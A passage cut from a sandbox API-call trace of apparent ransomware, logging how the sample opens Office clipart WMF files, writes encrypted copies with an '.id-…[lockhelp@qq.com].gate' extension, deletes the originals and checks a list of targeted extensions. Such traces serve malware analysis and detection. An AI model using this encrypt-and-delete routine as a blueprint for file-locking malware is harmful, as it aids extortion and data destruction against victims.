returned 68 [0293.145] lstrlenW (lpString=".1cd") returned 4 [0293.145] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0293.146] lstrlenW (lpString=".jpg") returned 4 [0293.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.146] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0293.146] lstrlenW (lpString="DD01151_.WMF") returned 12 [0293.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0293.146] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2960) returned 1 [0293.146] CloseHandle (hObject=0x50c) returned 1 [0293.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x220 [0293.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0293.147] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.147] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0293.147] GetLastError () returned 0x0 [0293.147] ReadFile (in: hFile=0x50c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xb90, lpOverlapped=0x0) returned 1 [0293.180] WriteFile (in: hFile=0x4b0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xba0, lpOverlapped=0x0) returned 1 [0293.181] ReadFile (in: hFile=0x50c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.181] WriteFile (in: hFile=0x4b0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0293.181] SetEndOfFile (hFile=0x4b0) returned 1 [0293.181] CloseHandle (hObject=0x4b0) returned 1 [0293.182] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.182] SetEndOfFile (hFile=0x50c) returned 1 [0293.185] CloseHandle (hObject=0x50c) returned 1 [0293.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.186] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0293.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0293.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0293.186] lstrlenW (lpString=".doc") returned 4 [0293.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.187] lstrlenW (lpString=".docx") returned 5 [0293.187] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.187] lstrlenW (lpString=".pdf") returned 4 [0293.187] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.187] lstrlenW (lpString=".xls") returned 4 [0293.187] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.187] lstrlenW (lpString=".xlsx") returned 5 [0293.187] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.187] lstrlenW (lpString=".ppt") returned 4 [0293.187] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0293.187] lstrlenW (lpString=".zip") returned 4 [0293.187] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.187] lstrlenW (lpString=".rar") returned 4 [0293.187] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.187] lstrlenW (lpString=".bz2") returned 4 [0293.187] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.187] lstrlenW (lpString=".7z") returned 3 [0293.187] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0293.187] lstrlenW (lpString=".dbf") returned 4 [0293.187] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0293.187] lstrlenW (lpString=".1cd") returned 4 [0293.187] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0293.187] lstrlenW (lpString=".jpg") returned 4 [0293.187] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0293.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0293.187] lstrlenW (lpString=".doc") returned 4 [0293.187] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.187] lstrlenW (lpString=".docx") returned 5 [0293.188] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.188] lstrlenW (lpString=".pdf") returned 4 [0293.188] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.188] lstrlenW (lpString=".xls") returned 4 [0293.188] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.188] lstrlenW (lpString=".xlsx") returned 5 [0293.188] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.188] lstrlenW (lpString=".ppt") returned 4 [0293.188] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0293.188] lstrlenW (lpString=".zip") returned 4 [0293.188] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.188] lstrlenW (lpString=".rar") returned 4 [0293.188] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.188] lstrlenW (lpString=".bz2") returned 4 [0293.188] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.188] lstrlenW (lpString=".7z") returned 3 [0293.188] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0293.188] lstrlenW (lpString=".dbf") returned 4 [0293.188] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0293.188] lstrlenW (lpString=".1cd") returned 4 [0293.188] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0293.188] lstrlenW (lpString=".jpg") returned 4 [0293.188] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.189] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2960) returned 1 [0293.189] CloseHandle (hObject=0x50c) returned 1 [0293.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x220 [0293.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0293.190] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.190] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0293.190] GetLastError () returned 0x0 [0293.190] ReadFile (in: hFile=0x50c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xb90, lpOverlapped=0x0) returned 1 [0293.310] WriteFile (in: hFile=0x4b0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xba0, lpOverlapped=0x0) returned 1 [0293.311] ReadFile (in: hFile=0x50c, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.311] WriteFile (in: hFile=0x4b0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0293.311] SetEndOfFile (hFile=0x4b0) returned 1 [0293.312] CloseHandle (hObject=0x4b0) returned 1 [0293.312] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.312] SetEndOfFile (hFile=0x50c) returned 1 [0293.316] CloseHandle (hObject=0x50c) returned 1 [0293.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0293.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0293.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0293.317] lstrlenW (lpString=".doc") returned 4 [0293.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.317] lstrlenW (lpString=".docx") returned 5 [0293.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.318] lstrlenW (lpString=".pdf") returned 4 [0293.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.318] lstrlenW (lpString=".xls") returned 4 [0293.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.318] lstrlenW (lpString=".xlsx") returned 5 [0293.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.318] lstrlenW (lpString=".ppt") returned 4 [0293.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0293.318] lstrlenW (lpString=".zip") returned 4 [0293.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.318] lstrlenW (lpString=".rar") returned 4 [0293.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.318] lstrlenW (lpString=".bz2") returned 4 [0293.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.318] lstrlenW (lpString=".7z") returned 3 [0293.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0293.318] lstrlenW (lpString=".dbf") returned 4 [0293.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0293.318] lstrlenW (lpString=".1cd") returned 4 [0293.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0293.318] lstrlenW (lpString=".jpg") returned 4 [0293.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.320] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2300) returned 1 [0293.320] CloseHandle (hObject=0x534) returned 1 [0293.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220 [0293.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0293.321] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.321] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0293.322] GetLastError () returned 0x0 [0293.322] ReadFile (in: hFile=0x534, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x8fc, lpOverlapped=0x0) returned 1 [0293.461] WriteFile (in: hFile=0x4f4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x900, lpOverlapped=0x0) returned 1 [0293.461] ReadFile (in: hFile=0x534, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.462] WriteFile (in: hFile=0x4f4, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0293.462] SetEndOfFile (hFile=0x4f4) returned 1 [0293.462] CloseHandle (hObject=0x4f4) returned 1 [0293.462] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.462] SetEndOfFile (hFile=0x534) returned 1 [0293.499] CloseHandle (hObject=0x534) returned 1 [0293.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0293.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0293.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0293.613] lstrlenW (lpString=".doc") returned 4 [0293.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.613] lstrlenW (lpString=".docx") returned 5 [0293.613] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.613] lstrlenW (lpString=".pdf") returned 4 [0293.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.613] lstrlenW (lpString=".xls") returned 4 [0293.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.614] lstrlenW (lpString=".xlsx") returned 5 [0293.614] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.614] lstrlenW (lpString=".ppt") returned 4 [0293.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0293.614] lstrlenW (lpString=".zip") returned 4 [0293.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.614] lstrlenW (lpString=".rar") returned 4 [0293.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.614] lstrlenW (lpString=".bz2") returned 4 [0293.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.614] lstrlenW (lpString=".7z") returned 3 [0293.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0293.614] lstrlenW (lpString=".dbf") returned 4 [0293.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0293.614] lstrlenW (lpString=".1cd") returned 4 [0293.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0293.614] lstrlenW (lpString=".jpg") returned 4 [0293.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.614] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=2052) returned 1 [0293.615] CloseHandle (hObject=0x4c4) returned 1 [0293.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220 [0293.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0293.615] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.615] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0293.616] GetLastError () returned 0x0 [0293.616] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x804, lpOverlapped=0x0) returned 1 [0293.694] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x810, lpOverlapped=0x0) returned 1 [0293.695] ReadFile (in: hFile=0x4c4, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.695] WriteFile (in: hFile=0x538, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0293.695] SetEndOfFile (hFile=0x538) returned 1 [0293.695] CloseHandle (hObject=0x538) returned 1 [0293.695] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.695] SetEndOfFile (hFile=0x4c4) returned 1 [0293.698] CloseHandle (hObject=0x4c4) returned 1 [0293.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0293.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0293.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0293.699] lstrlenW (lpString=".doc") returned 4 [0293.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.699] lstrlenW (lpString=".docx") returned 5 [0293.699] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.699] lstrlenW (lpString=".pdf") returned 4 [0293.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.699] lstrlenW (lpString=".xls") returned 4 [0293.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.699] lstrlenW (lpString=".xlsx") returned 5 [0293.699] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.699] lstrlenW (lpString=".ppt") returned 4 [0293.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0293.699] lstrlenW (lpString=".zip") returned 4 [0293.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.699] lstrlenW (lpString=".rar") returned 4 [0293.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.699] lstrlenW (lpString=".bz2") returned 4 [0293.699] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.699] lstrlenW (lpString=".7z") returned 3 [0293.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0293.700] lstrlenW (lpString=".dbf") returned 4 [0293.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.700] lstrlenW (lpString="C:\\Program Files\\Microsoft 